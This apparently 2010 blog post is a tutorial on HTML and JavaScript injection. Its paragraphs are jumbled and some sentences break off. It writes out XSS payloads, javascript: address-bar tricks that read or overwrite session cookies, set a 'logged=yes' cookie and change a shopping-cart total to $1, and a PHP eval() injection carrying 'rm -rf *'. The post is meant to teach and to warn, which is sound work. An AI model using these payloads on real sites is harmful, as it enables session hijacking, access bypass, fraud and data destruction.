This article is about HTML and Javascript injection techniques used to exploit web site vulnerabilities. Nowadays it's not usual to find a completely vulnerable site to this type of attacks, but only one is enough to exploit it. This type of attack is possible by the way the client browser has the ability to interpret scripts embedded within HTML content enabled by default, so if an attacker embeds script tags such <SCRIPT>, <OBJECT>,<APPLET>, or <EMBED> into a web site, web browser's Javascript engine will execute it. If it works and you can see the message box, the door is opened to attacker's imagination limits!. A common code insertion used to drive navigation to another website is something like this: Same within Other tags used to execute malicious Javascript code are, for example, This is not a harmful script, as you see, but suppose you want to get information about the site, for example if it is using cookies or not, you could type something like this : You will see in the message box the new session ID assigned to the actual one. This example shows too the possibility of concatenate more than one action in the same line of execution. Following this line, it's possible to modify any DOM object using javascript and inject it using previous techniques. Analyzing the source code of a web page you may find it uses forms ( These other techniques are named indirect code injection; not only cookies or forms modification are exploited by this technique, any DOM component or HTTP header is exposed. When developing web applications it's very recommendable to follow the next considerations to prevent possible code injection : Solution to this situation is just maintaining shopping chart actions on server side, and getting client side refreshed via AJAX, for example. eval() parameters will be processed, so if “formAge” is set to "5; system('/bin/rm -rf *')", additional code will be executed on server and will remove all files. Dangerous, don't you think so? Introduction
I'll make a compilation of these techniques all together, in order to facilitate the reading and to make it entertaining.
HTML injection is a type of attack focused upon the way HTML content is generated and interpreted by browsers at client side.
Otherwise, Javascript is a widely used technology in dynamic web sites, so the use of technics based on this, like injection, complements the nomenclature of 'code injection'. Code injection
A typical target of this type of injection are forums, guestbooks, or whatever section where administrator allows the insertion of text comments; if the design of the web site isn't parsing the comments inserted and takes '<' or '>' as real chars, a malicious user could type :I like this site because <script>alert('Injected!');</script> teachs me a lot
<H1> Vulnerability test </H1>
<META HTTP-EQUIV="refresh" CONTENT="1;url=http://www.test.com">
<FK>
or <LI>
tag :<FK STYLE="behavior: url(http://<<Other website>>;">
<BR>
, <DIV>
, even background-image
:<BR SIZE="&{alert('Injected')}">
<DIV STYLE="background-image: url(javascript:alert('Injected'))"><TITLE>
tag is a common weak point if it's generated dynamically. For example, suppose this situation: <HTML>
<HEAD>
<TITLE><?php echo $_GET['titulo']; ?>
</TITLE>
</HEAD>
<BODY>
...
</BODY>
</HTML>
If you build titulo as 'example </title></head><body><img src=http://myImage.png>
', HTML resulting would insert 'myImage.png' image first of all : <HTML>
<HEAD>
<TITLE>example</title></head><body><img src=http://myImage.png></TITLE>
</HEAD>
<BODY>
...
</BODY>
</HTML>
There is another dangerous HTML tag that could exploit web browser's frames support characteristic :<IFRAME>
. This tag allows (within Sandbox security layer) cross-scripting exploiting using web browser elements (address bar or bookmarks for example), but this theme is outside the scope of this article.
Otherwise, there is a commonly technique widely known as “in-line” code injection. This technique exploits javascript functions “alert” and “void”.
Testing it is very easy, just navigate to whatever site, and type in web browser's address bar:javascript:alert('Executed!');
javascript:alert(document.cookie);
If the website is not using cookies, no problem, but case else, you could read values like server session ID, or any user data stored in cookies by the application.
Suppose now that we use the void() javascript function instead of alert(). This function returns a NULL value to the web Browser, so no recharging page action is executed. We could change DOM values inside this function and no navigation change state would occur. Imagine you've found a site that stores PHP session ID in the common cookie 'PHPSESSID
'; if we start a new navigation to the same website in another webbrowser instance, we'll get a new 'PHPSESSID
'; we could change session Ids in both instances by typing:javascript: void(document.cookie=”PHPSESSID = <<Any other session ID>>”); alert(document.cookie);
Only taking a look to site cookies you could find some very descriptive one implementing security features, for example, if you find a site cookie like “logged=no”, probably you could go into the logged area simply by changing that cookie value:javascript: void(document.cookie=”logged=yes”);
<FORM>
) for different purposes; in this case, you could change any form field value using void() function, too. Suppose a shopping portal with a shopping cart; if site designer didn't take care of this type of injection, you could fill the cart and pay for it only $1:javascript:void(document.forms[0].total.value=1);
So, it's very important to keep in mind these code injection techniques when developing web applications as far as possible to make it a more safe application. Preventing code injection
Suppose yo have only one form to store the shopping chart;attackers could modify you bill, simply by changing the price as seen before :javascript:void(document.forms[0].price.value=1);
<TITLE>
example above). Imagine this piece of code in a PHP page : $dato = $_GET['formAge'];
eval('$edad = ' . $dato . ';');
Ultimately, best defense to code injection attacks resides on “Best practices” while programming.
Monday, December 6, 2010
HTML and Javascript injection
Collapse
Collapse
Collapse
Collapse
Collapse
Collapse
Collapse
Collapse
Collapse
Collapse
Collapse
Collapse
Collapse
Collapse
Subscribe to:
Post Comments (Atom)
No comments:
Post a Comment